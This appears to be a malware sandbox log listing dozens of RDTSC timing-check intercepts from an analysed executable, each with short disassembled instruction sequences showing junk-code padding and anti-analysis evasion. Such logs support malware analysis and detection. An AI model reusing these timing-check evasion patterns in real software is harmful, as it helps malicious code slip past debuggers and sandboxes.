Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90DECE second address: 90DEDB instructions: 0x00000000 rdtsc 0x00000002 jo 00007F6CDCCD27B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91D9C2 second address: 91DA02 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6CDCB9DE03h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F6CDCB9DE06h 0x0000000e jc 00007F6CDCB9DE07h 0x00000014 jmp 00007F6CDCB9DDFBh 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9243FD second address: 924407 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F6CDCCD27B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 924407 second address: 924427 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F6CDCB9DDF6h 0x00000008 jmp 00007F6CDCB9DDFCh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 pushad 0x00000015 popad 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 924427 second address: 92443B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jbe 00007F6CDCCD27B6h 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007F6CDCCD27B6h 0x00000012 push edi 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92443B second address: 92443F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93A1D4 second address: 93A1DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93A1DA second address: 93A1F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6CDCB9DE06h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93A984 second address: 93A996 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6CDCCD27BCh 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93AAE1 second address: 93AAE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93AAE5 second address: 93AAF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93B502 second address: 93B508 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93B508 second address: 93B515 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jl 00007F6CDCCD27B6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 849C8A second address: 849C94 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94C612 second address: 94C63C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6CDCCD27C1h 0x00000009 popad 0x0000000a push edi 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F6CDCCD27C0h 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94C63C second address: 94C641 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 960046 second address: 96004C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8481F3 second address: 848201 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop ebx 0x00000006 pushad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95FEEA second address: 95FEEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95FEEE second address: 95FEF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95FEF2 second address: 95FEF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95FEF8 second address: 95FF0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnc 00007F6CDCB9DDF6h 0x0000000d jnl 00007F6CDCB9DDF6h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95FF0E second address: 95FF13 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 961CDA second address: 961CDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 961CDE second address: 961CE4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97D2E7 second address: 97D2EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97C3BB second address: 97C3BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97C3BF second address: 97C3E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6CDCB9DE00h 0x00000007 jmp 00007F6CDCB9DDFEh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97C3E1 second address: 97C3E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97C3E7 second address: 97C3EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97C59D second address: 97C5BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F6CDCCD27C2h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97C5BB second address: 97C5D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6CDCB9DE03h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97C5D4 second address: 97C5E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F6CDCCD27B6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97C5E0 second address: 97C5E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97CA69 second address: 97CA6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97CD53 second address: 97CD70 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6CDCB9DE08h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97CE76 second address: 97CE80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F6CDCCD27B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97CE80 second address: 97CE8A instructions: 0x00000000 rdtsc 0x00000002 jl 00007F6CDCB9DDF6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97CE8A second address: 97CEB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6CDCCD27C5h 0x0000000b pop edx 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f jnc 00007F6CDCCD27B6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97CEB1 second address: 97CEB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 981505 second address: 98151F instructions: 0x00000000 rdtsc 0x00000002 ja 00007F6CDCCD27BCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jg 00007F6CDCCD27B6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 981819 second address: 98181E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98318A second address: 9831A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007F6CDCCD27C1h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8908EC second address: 8908F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0321 second address: 4DF0325 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0325 second address: 4DF032B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF032B second address: 4DF03A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6CDCCD27BAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov bx, 8814h 0x0000000f mov di, 1180h 0x00000013 popad 0x00000014 xchg eax, ebp 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007F6CDCCD27C5h 0x0000001c adc ch, FFFFFF86h 0x0000001f jmp 00007F6CDCCD27C1h 0x00000024 popfd 0x00000025 mov bl, ah 0x00000027 popad 0x00000028 mov ebp, esp 0x0000002a jmp 00007F6CDCCD27C3h 0x0000002f mov edx, dword ptr [ebp+0Ch] 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007F6CDCCD27C5h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF03A3 second address: 4DF03C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 call 00007F6CDCB9DDFDh 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov ecx, dword ptr [ebp+08h] 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F6CDCB9DDFAh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2042F second address: 4E20444 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6CDCCD27C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20444 second address: 4E20482 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, cx 0x00000006 mov ch, 5Eh 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F6CDCB9DDFBh 0x00000011 mov ebp, esp 0x00000013 jmp 00007F6CDCB9DE06h 0x00000018 xchg eax, ecx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F6CDCB9DDFAh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20482 second address: 4E20486 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20486 second address: 4E2048C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2048C second address: 4E204CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6CDCCD27BCh 0x00000009 add ah, 00000028h 0x0000000c jmp 00007F6CDCCD27BBh 0x00000011 popfd 0x00000012 call 00007F6CDCCD27C8h 0x00000017 pop esi 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E204CE second address: 4E204D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E204D2 second address: 4E204D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E204D8 second address: 4E204DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E204DE second address: 4E204F7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6CDCCD27BEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2066C second address: 4E20672 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20672 second address: 4E206C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6CDCCD27C7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a jmp 00007F6CDCCD27C6h 0x0000000f leave 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushfd 0x00000014 jmp 00007F6CDCCD27BCh 0x00000019 sub eax, 73D68898h 0x0000001f jmp 00007F6CDCCD27BBh 0x00000024 popfd 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E206C7 second address: 4E10030 instructions: 0x00000000 rdtsc 0x00000002 movzx eax, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 retn 0004h 0x0000000b nop 0x0000000c cmp eax, 00000000h 0x0000000f setne al 0x00000012 xor ebx, ebx 0x00000014 test al, 01h 0x00000016 jne 00007F6CDCB9DDF7h 0x00000018 xor eax, eax 0x0000001a sub esp, 08h 0x0000001d mov dword ptr [esp], 00000000h 0x00000024 mov dword ptr [esp+04h], 00000000h 0x0000002c call 00007F6CE12F7233h 0x00000031 mov edi, edi 0x00000033 pushad 0x00000034 movzx eax, dx 0x00000037 pushad 0x00000038 movsx edx, si 0x0000003b mov dh, ah 0x0000003d popad 0x0000003e popad 0x0000003f push eax 0x00000040 jmp 00007F6CDCB9DDFAh 0x00000045 mov dword ptr [esp], ebp 0x00000048 push eax 0x00000049 push edx 0x0000004a pushad 0x0000004b call 00007F6CDCB9DDFDh 0x00000050 pop ecx 0x00000051 push edx 0x00000052 pop eax 0x00000053 popad 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E10030 second address: 4E10084 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx esi, bx 0x00000006 pushfd 0x00000007 jmp 00007F6CDCCD27C5h 0x0000000c adc si, DF16h 0x00000011 jmp 00007F6CDCCD27C1h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov ebp, esp 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F6CDCCD27C8h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E10084 second address: 4E10088 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E10088 second address: 4E1008E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E1008E second address: 4E10094 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E10094 second address: 4E100D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6CDCCD27C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push FFFFFFFEh 0x0000000d pushad 0x0000000e push eax 0x0000000f movsx edi, ax 0x00000012 pop ecx 0x00000013 push ebx 0x00000014 mov edx, ecx 0x00000016 pop ecx 0x00000017 popad 0x00000018 call 00007F6CDCCD27B9h 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 pushad 0x00000021 popad 0x00000022 mov edx, eax 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E100D0 second address: 4E100E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6CDCB9DDFCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E100E0 second address: 4E10161 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6CDCCD27BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F6CDCCD27C9h 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 pushad 0x00000016 call 00007F6CDCCD27C7h 0x0000001b call 00007F6CDCCD27C8h 0x00000020 pop eax 0x00000021 pop edi 0x00000022 mov ah, 80h 0x00000024 popad 0x00000025 mov eax, dword ptr [eax] 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F6CDCCD27C9h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E10161 second address: 4E1019D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6CDCB9DDFAh 0x00000009 sub ax, 13D8h 0x0000000e jmp 00007F6CDCB9DDFBh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F6CDCB9DE04h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E1019D second address: 4E101C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, si 0x00000006 mov edx, eax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c jmp 00007F6CDCCD27C4h 0x00000011 push 0422090Bh 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E101C8 second address: 4E101CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E101CC second address: 4E101E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6CDCCD27C6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E101E6 second address: 4E101F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6CDCB9DDFEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E101F8 second address: 4E10232 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 7187227Bh 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushfd 0x00000013 jmp 00007F6CDCCD27C6h 0x00000018 sbb si, CC88h 0x0000001d jmp 00007F6CDCCD27BBh 0x00000022 popfd 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E10232 second address: 4E10245 instructions: 0x00000000 rdtsc 0x00000002 mov edi, eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr fs:[00000000h] 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E10245 second address: 4E10249 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E10249 second address: 4E1024F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E1024F second address: 4E10255 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E10255 second address: 4E10259 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E10259 second address: 4E1025D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E1025D second address: 4E10283 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 jmp 00007F6CDCB9DDFCh 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F6CDCB9DDFEh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E10283 second address: 4E102A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6CDCCD27BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F6CDCCD27C0h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E102A7 second address: 4E102B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6CDCB9DDFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E102B6 second address: 4E102DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6CDCCD27C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub esp, 18h 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E102DB second address: 4E102DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E102DF second address: 4E102E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E102E3 second address: 4E10343 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushfd 0x00000008 jmp 00007F6CDCB9DE05h 0x0000000d xor ecx, 50402926h 0x00000013 jmp 00007F6CDCB9DE01h 0x00000018 popfd 0x00000019 pop ecx 0x0000001a popad 0x0000001b push esp 0x0000001c jmp 00007F6CDCB9DDFCh 0x00000021 mov dword ptr [esp], ebx 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F6CDCB9DE07h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E10343 second address: 4E10390 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6CDCCD27C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007F6CDCCD27C3h 0x00000012 jmp 00007F6CDCCD27C8h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E10390 second address: 4E10396 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
